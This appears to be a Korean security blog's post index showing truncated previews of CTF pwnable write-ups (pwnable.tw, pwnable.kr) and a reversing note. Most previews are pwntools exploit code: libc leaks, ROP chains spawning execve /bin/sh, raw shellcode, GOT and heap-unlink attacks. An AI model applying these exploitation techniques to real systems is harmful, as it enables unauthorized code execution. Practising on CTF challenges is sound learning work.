전체보기 (171) 썸네일형 리스트형 [pwnable.tw] dubblesort 12345678910111213141516171819202122232425262728293031from pwn import * s = remote('chall.pwnable.tw', 10101)#s = process('./dubblesort', env={'LD_PRELOAD':'./libc_32.so.6'})#libc = ELF('/lib/i386-linux-gnu/libc-2.23.so')libc = ELF('./libc_32.so.6') s.sendlineafter('name :', 'A'*24)s.recvuntil('AAAA\n')base = u32('\x00' + s.recv(3)) - 0x1b0000system = base + libc.symbols['system']binsh = base + n.. [pwnable.tw] calc 123456789101112131415+360+1+361+134595402 #pop_eax (calc function return address)+362-134595399 #3(read syscall num)+363+81545 #pop_edx_ecx_ebx+364-81537 #edx(size) = 8+365+135106815 #ecx(bss)+366-135106815 #0 ebx(fd)+367-428159 #syscall +368+134167244 #pop_eax+369-134167233 #11(execve syscall num)+370+509711 #pop_edx_ecx_ebx+371-509711 #0(edx)+372-509711 #0(ecx)+373+134678641 #bss(ebx)+374+15 #.. [pwnable.kr] md5 calculator 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647from pwn import *from base64 import *from ctypes import *import os libc = CDLL('libc.so.6')#s = process('./hash')s = remote('pwnable.kr', 9002)e = ELF('./hash') pr = 0x08048aa3pppr = 0x0804908bg_buf = 0x804B0E0cmd = "/bin/sh\x00" libc.srand(libc.time(0))random = []calc = 0for i in range(8): random.append(libc.ra.. [pwnable.kr] echo1 12345678910111213141516171819from pwn import * p = remote('pwnable.kr', 9010)context(arch='amd64',os='linux')id_addr = 0x6020a0shell = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05' jmp_rsp = asm('jmp rsp') payload = 'A'*0x28payload += p64(id_addr)payload += shell p.sendlineafter(' : ', jmp_rsp)p.sendlineafter('> ', '1')p.recv(1024).. [pwnable.kr] brain fuck 12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152from pwn import * #p = process('./bf')p = remote('pwnable.kr',9001)#e = ELF('/lib/i386-linux-gnu/libc-2.23.so')e = ELF('./bf_libc.so') point = 0x804a0a0pnum = 0memset_got = 0x804a02cfgets_got = 0x804a010putchar_got = 0x804a030 pnum = point - fgets_gotpoint -= pnumpayload = '' * 4payload += '' * 4payloa.. [pwnable.kr] unlink 12345678910111213141516171819202122232425262728293031323334353637383940414243#include #include #include typedef struct tagOBJ{ struct tagOBJ* fd; struct tagOBJ* bk; char buf[8];}OBJ; void shell(){ system("/bin/sh");} void unlink(OBJ* P){ OBJ* BK; OBJ* FD; BK=P->bk; FD=P->fd; FD->bk=BK; BK->fd=FD;}int main(int argc, char* argv[]){ malloc(1024); OBJ* A = (OBJ*)malloc(sizeof(OBJ)); OBJ* B = (OBJ*)m.. Stack protector use Pintools #include int main() { char buf[100]; printf("Plz input >> \n"); fflush(stdout); read(0, buf, 1024); printf("%s\n", buf); return 0; } //gcc -o test test.c -fno-stack-protectorUbuntu 16.04 64bit #include #include #include #include "pin.H" using namespace std; FILE *fp = NULL; #define START 0x4005f6 #define END 0x400644 static UINT16 _tabAddr[0x10000]; static std::string _tabStr[0x10000]; static si.. [SCTF 2018] dingJMax main 보면 윈도우 창을 만들고 여러 rule을 넣는다. 앞에서 "qN7BuRx4rElDv84dgNaaNBanZf0HSHFjqOvbkFfgTRg3r" 라는 임의의 Flag 값을 넣어두고 이 부분에서 리듬게임 입력값에 따라 연산을 진행한다. 이 부분을 보면 특정 연산이 v16와 같을 경우 반복문을 도는데 이 코드의 의미는 리듬게임 1칸(4줄) 이 내려오게 해주는 부분이다. 또한 밑 부분에서 누른 타이밍에 따라 perfect, great, miss 로 나뉜다.처음엔 코드 제데로 안보고 perfect만 나오게 코드수정하고 점수 채워봤으나 역시 안됐다..또한 버튼을 누를 때 마다 플래그가 바뀌는 장면을 볼 수 있는데, 사실 Flag에 영향을 미치는 요소는 딱 2가지다.perfect(타이밍), ball의 순서즉.. 이전 1 2 3 4 5 ··· 22 다음